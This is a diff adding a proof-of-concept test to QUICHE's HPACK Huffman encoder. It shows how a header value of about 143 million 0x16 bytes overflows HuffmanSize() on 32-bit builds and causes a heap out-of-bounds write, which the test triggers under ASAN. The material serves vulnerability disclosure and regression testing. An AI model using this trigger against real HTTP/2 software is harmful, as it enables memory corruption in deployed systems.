diff --git a/quiche/http2/hpack/huffman/hpack_huffman_encoder_test.cc b/quiche/http2/hpack/huffman/hpack_huffman_encoder_test.cc index d6774cfa4..aba739eb6 100644 --- a/quiche/http2/hpack/huffman/hpack_huffman_encoder_test.cc +++ b/quiche/http2/hpack/huffman/hpack_huffman_encoder_test.cc @@ -5,6 +5,7 @@ #include "quiche/http2/hpack/huffman/hpack_huffman_encoder.h" #include +#include #include #include "absl/base/macros.h" @@ -120,5 +121,52 @@ TEST(HuffmanEncoderTest, AppendToOutput) { EXPECT_EQ(expected_encoding, buffer); } +// POC: On 32-bit targets (e.g. armv7 Android), HuffmanSize() overflows its +// size_t bit accumulator for inputs whose total Huffman bit-length exceeds +// 2^32. HpackEncoder::EmitString then passes the wrapped (tiny) value as +// |encoded_size| to HuffmanEncode(), which resizes the output to that tiny +// size but writes the true encoded length, OR-writing linearly past the +// allocation. +// +// This test demonstrates the overflow arithmetic and then performs the exact +// HuffmanEncode() call that EmitString would make on a 32-bit build, which +// triggers an ASAN heap-buffer-overflow on any architecture. +TEST(HuffmanEncoderTest, HuffmanSize32BitOverflowOOBWrite) { + // Byte 0x16 (SYN) has a 30-bit Huffman code — the maximum per RFC 7541 + // Appendix B — and is accepted by net::HttpUtil::IsValidHeaderValue(). + // 143,165,577 repetitions give 4,294,967,310 bits = 2^32 + 14. + constexpr uint64_t kInputLen = 143165577; + constexpr uint64_t kBits64 = kInputLen * 30; + static_assert(kBits64 == (uint64_t{1} << 32) + 14, "overflow math"); + + // What HuffmanSize() computes when size_t is 32 bits wide: + const uint32_t bits32 = static_cast(kBits64); // wraps to 14 + const size_t encoded_size_32bit = (bits32 + 7) / 8; // == 2 + ASSERT_EQ(2u, encoded_size_32bit); + + // On the real attack path the full ~137 MiB header value reaches + // HuffmanEncode(); ASAN aborts on the first OOB byte, so a short prefix of + // the same payload suffices to demonstrate the write-past-end. 256 bytes of + // 0x16 encode to 960 bytes — far past the 6 bytes that |encoded_size_32bit| + // reserves. + const std::string input(256, '\x16'); + + // Mirror HpackEncoder::EmitString: the output stream already holds a prefix + // and varint length before HuffmanEncode is called. A non-trivial prefix + // also forces the std::string backing store onto the heap (out of SSO). + std::string output(64, 'P'); + + // This is the call HpackEncoder::EmitString makes after HuffmanSize wraps. + // Output is resized to 64 + 2 + 4 = 70 bytes; the loop then writes ~960 + // bytes past |first|. Expect: AddressSanitizer heap-buffer-overflow. + HuffmanEncode(input, encoded_size_32bit, &output); + + // Not reached under ASAN. + ADD_FAILURE() << "HuffmanEncode wrote " << output.size() + << " bytes without ASAN catching the overflow; " + "true encoded length is " + << HuffmanSize(input) << " bytes."; +} + } // namespace } // namespace http2